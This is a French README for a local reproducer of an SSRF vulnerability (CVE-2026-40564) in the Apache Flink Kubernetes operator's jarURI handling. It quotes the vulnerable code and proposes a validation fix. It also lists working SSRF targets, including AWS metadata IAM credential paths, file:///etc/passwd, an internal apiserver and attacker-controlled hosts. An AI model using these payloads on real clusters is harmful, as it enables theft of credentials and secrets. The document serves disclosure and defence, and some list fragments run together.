
CVE-2026-40564: SSRF via FlinkSessionJob jarURI in apache/flink-kubernetes-operator. Self-contained reproducer that runs on a local kind cluster with one make command.
L'opérateur Kubernetes Apache Flink ne vérifie pas le champ spec.job.jarURI sur les ressources FlinkSessionJob (ou FlinkDeployment). Toute personne capable de créer l'une de ces ressources peut définir jarURI sur n'importe quelle URL. Lorsque l'opérateur traite la ressource, il récupère cette URL depuis son propre pod. Le schéma peut être http, https, file, ou n'importe lequel des plugins de système de fichiers fournis par Flink, donc la requête peut atteindre presque partout où le pod de l'opérateur peut accéder.
main (1.15-SNAPSHOT au 2026-04-09)[email protected] et [email protected] le 2026-04-09SessionJobReconciler.deploy -> submitJobToSessionCluster -> uploadJar -> ArtifactManager.fetch -> HttpArtifactFetcher.fetchmake verify
Cela exécute cinq étapes dans l'ordre :
FlinkSessionJob dont le jarURI pointe vers celle-ciQuand cela fonctionne, la fin de l'exécution ressemble à ceci :
==> [5/5] verify-ssrf
target jarURI: https://webhook.site/<uuid>/exploit.jar
target is webhook.site, confirming via its REST API...
=== webhook.site captured requests (newest first) ===
2026-05-28 17:35:29 GET https://webhook.site/<uuid>/exploit.jar
User-Agent: Java/17.0.17
Source IP: 82.51.158.62
CVE-2026-40564 CONFIRMED: the operator pod issued an HTTP GET against the attacker URL.
Dashboard: https://webhook.site/#!/view/<uuid>
La première exécution prend environ 6 à 8 minutes. La majeure partie de ce temps est consacrée au téléchargement de l'image flink:1.17, qui fait environ 700 Mo. Les exécutions suivantes sont plus proches de 3 minutes.
docker, kind, kubectl 1.23 ou plus récent, helm 3, make, curl, et jq. Le cluster doit pouvoir accéder à Internet pour communiquer avec webhook.site.
Par défaut, le Makefile récupère une nouvelle URL webhook.site pour vous. Pour envoyer la requête ailleurs, définissez SSRF_URL avec le jarURI complet que vous souhaitez. Il est utilisé tel quel.
# réutiliser une URL webhook.site spécifique
make verify SSRF_URL=https://webhook.site/8a2f1e3c-aaaa-bbbb-cccc-dddddddddddd/exploit.jar
# votre propre collaborator (Burp, interactsh, un écouteur netcat, etc.)
make verify SSRF_URL=https://abc123.oast.fun/exploit.jar
# le service de métadonnées de l'instance AWS
make verify SSRF_URL=http://169.254.169.254/latest/meta-data/iam/security-credentials/
# un schéma non-http géré par la couche de système de fichiers de Flink
make verify SSRF_URL=file:///etc/passwd
La manière dont la vérification confirme le résultat dépend de la cible. Si l'URL est sur webhook.site, le Makefile lit son API REST et affiche les requêtes capturées. Pour toute autre chose, il lit le journal de l'opérateur et recherche la trame de pile HttpArtifactFetcher.fetch, qui montre que la récupération a eu lieu. WEBHOOK_URL fonctionne également et signifie la même chose que SSRF_URL.
make cleanup
Cela supprime le cluster kind. Rien n'est laissé derrière.
Trois classes sont impliquées, et aucune d'elles n'examine le schéma, l'hôte ou l'IP dans jarURI.
DefaultValidator.validateJobSpec vérifie le parallélisme, le mode de mise à niveau, les paramètres de savepoint et la forme des ressources. Il ne lit jamais job.getJarURI() :
private Optional<String> validateJobSpec(
JobSpec job, @Nullable TaskManagerSpec tm, Map<String, String> confMap) {
if (job == null) return Optional.empty();
Configuration configuration = Configuration.fromMap(confMap);
// ... checks de parallélisme / mode de mise à niveau / savepoint / ressources ...
// job.getJarURI() n'est jamais inspecté.
return Optional.empty();
}
ArtifactManager.fetch sélectionne un récupérateur en fonction du schéma. Il n'y a pas de liste blanche, et tout ce qui n'est pas http ou https passe à la couche de système de fichiers de Flink :
public File fetch(String jarURI, Configuration flinkConfiguration, String targetDirStr) throws Exception {
URI uri = new URI(jarURI);
if ("http".equals(uri.getScheme()) || "https".equals(uri.getScheme())) {
return HttpArtifactFetcher.INSTANCE.fetch(jarURI, flinkConfiguration, targetDir);
} else {
return FileSystemBasedArtifactFetcher.INSTANCE.fetch(jarURI, flinkConfiguration, targetDir);
}
}
HttpArtifactFetcher.fetch ouvre l'URL telle quelle. Il n'y a pas de vérification d'hôte, de plage d'IP, ni rien qui empêche d'atteindre des adresses loopback ou link-local :
public File fetch(String uri, Configuration flinkConfiguration, File targetDir) throws Exception {
URL url = new URL(uri);
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
conn.setRequestMethod("GET");
File targetFile = new File(targetDir, FilenameUtils.getName(url.getPath()));
try (var inputStream = conn.getInputStream()) {
FileUtils.copyToFile(inputStream, targetFile);
}
return targetFile;
}
L'opérateur fonctionne généralement avec des droits RBAC étendus. Le chart Helm officiel accorde * sur plusieurs types de ressources, y compris les secrets, et le pod peut normalement accéder au réseau sans restriction. Si vous pouvez lui faire envoyer des requêtes pour vous, vous pouvez :
FlinkSessionJobSur un cluster partagé où plusieurs équipes utilisent le même opérateur, n'importe laquelle d'entre elles peut l'utiliser pour atteindre les ressources d'une autre équipe.
Le reproducteur utilise par défaut webhook.site, mais le bug ne se soucie pas de l'URL. Définissez SSRF_URL, ou modifiez manifests/vulnerable-sessionjob.yaml, avec n'importe laquelle de celles-ci :
jarURI | Atteint |
|---|---|
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role> | AWS IMDSv1, les identifiants IAM du nœud du pod de l'opérateur |
http://10.0.0.1:6443/api | Un apiserver dans le cluster, ou tout point de terminaison interne qui met l'IP de l'opérateur en liste blanche |
file:///etc/passwd | Le propre système de fichiers du pod de l'opérateur, via la branche du récupérateur de système de fichiers |
s3://attacker-bucket/x.jar | S3, en utilisant les identifiants du pod de l'opérateur |
Ajoutez une vérification à DefaultValidator.validateJobSpec :
if (job.getJarURI() != null) {
Optional<String> uriError = validateJarURI(job.getJarURI(), configuration);
if (uriError.isPresent()) return uriError;
}
private Optional<String> validateJarURI(String jarURI, Configuration conf) {
URI uri;
try {
uri = new URI(jarURI);
} catch (URISyntaxException e) {
return Optional.of("jarURI n'est pas une URI valide : " + e.getMessage());
}
String scheme = uri.getScheme();
if (scheme == null) return Optional.of("jarURI doit inclure un schéma");
Set<String> allowed = conf.get(KubernetesOperatorConfigOptions.JAR_URI_ALLOWED_SCHEMES);
if (!allowed.contains(scheme.toLowerCase(Locale.ROOT))) {
return Optional.of("le schéma jarURI '" + scheme + "' n'est pas dans la liste blanche");
}
if ("http".equalsIgnoreCase(scheme) || "https".equalsIgnoreCase(scheme)) {
InetAddress addr;
try {
addr = InetAddress.getByName(uri.getHost());
} catch (UnknownHostException e) {
return Optional.of("l'hôte jarURI ne peut pas être résolu");
}
if (addr.isLoopbackAddress() || addr.isLinkLocalAddress()
|| addr.isSiteLocalAddress() || addr.isAnyLocalAddress()) {
return Optional.of("l'hôte jarURI pointe vers une adresse restreinte");
}
}
return Optional.empty();
}
Donnez à KubernetesOperatorConfigOptions.JAR_URI_ALLOWED_SCHEMES une valeur par défaut de Set.of("https"). Les opérateurs qui ont besoin de s3 ou d'un autre schéma peuvent l'ajouter.
Deux autres choses qui valent la peine d'être faites :
NetworkPolicy pour le pod de l'opérateur qui bloque le trafic sortant vers les adresses link-local (169.254.0.0/16), loopback, et les adresses de métadonnées cloud connues.Le Makefile contourne deux choses qui cassent kind sur Linux. Chaque vérification s'exécute uniquement lorsque le problème est effectivement présent, il est donc sûr de relancer.
/etc/resolv.conf du nœud kind pointe vers 127.0.0.1, donc le cluster résout les noms externes vers localhost. L'étape cluster-up réécrit la configuration CoreDNS pour forwarder vers 1.1.1.1 et 8.8.8.8.ndots réglé sur 5, un nom comme webhook.site se voit d'abord ajouter les domaines de recherche de l'hôte, et certains FAI répondent 127.0.0.1 pour les sous-domaines qu'ils ne reconnaissent pas. L'étape install-operator donne au pod de l'opérateur son propre dnsConfig pour éviter cela.Si une exécution complète échoue en cours de route, vous pouvez exécuter make verify-ssrf seul. Il lit le jarURI depuis le FlinkSessionJob en cours, donc il ne repose sur rien de sauvegardé localement.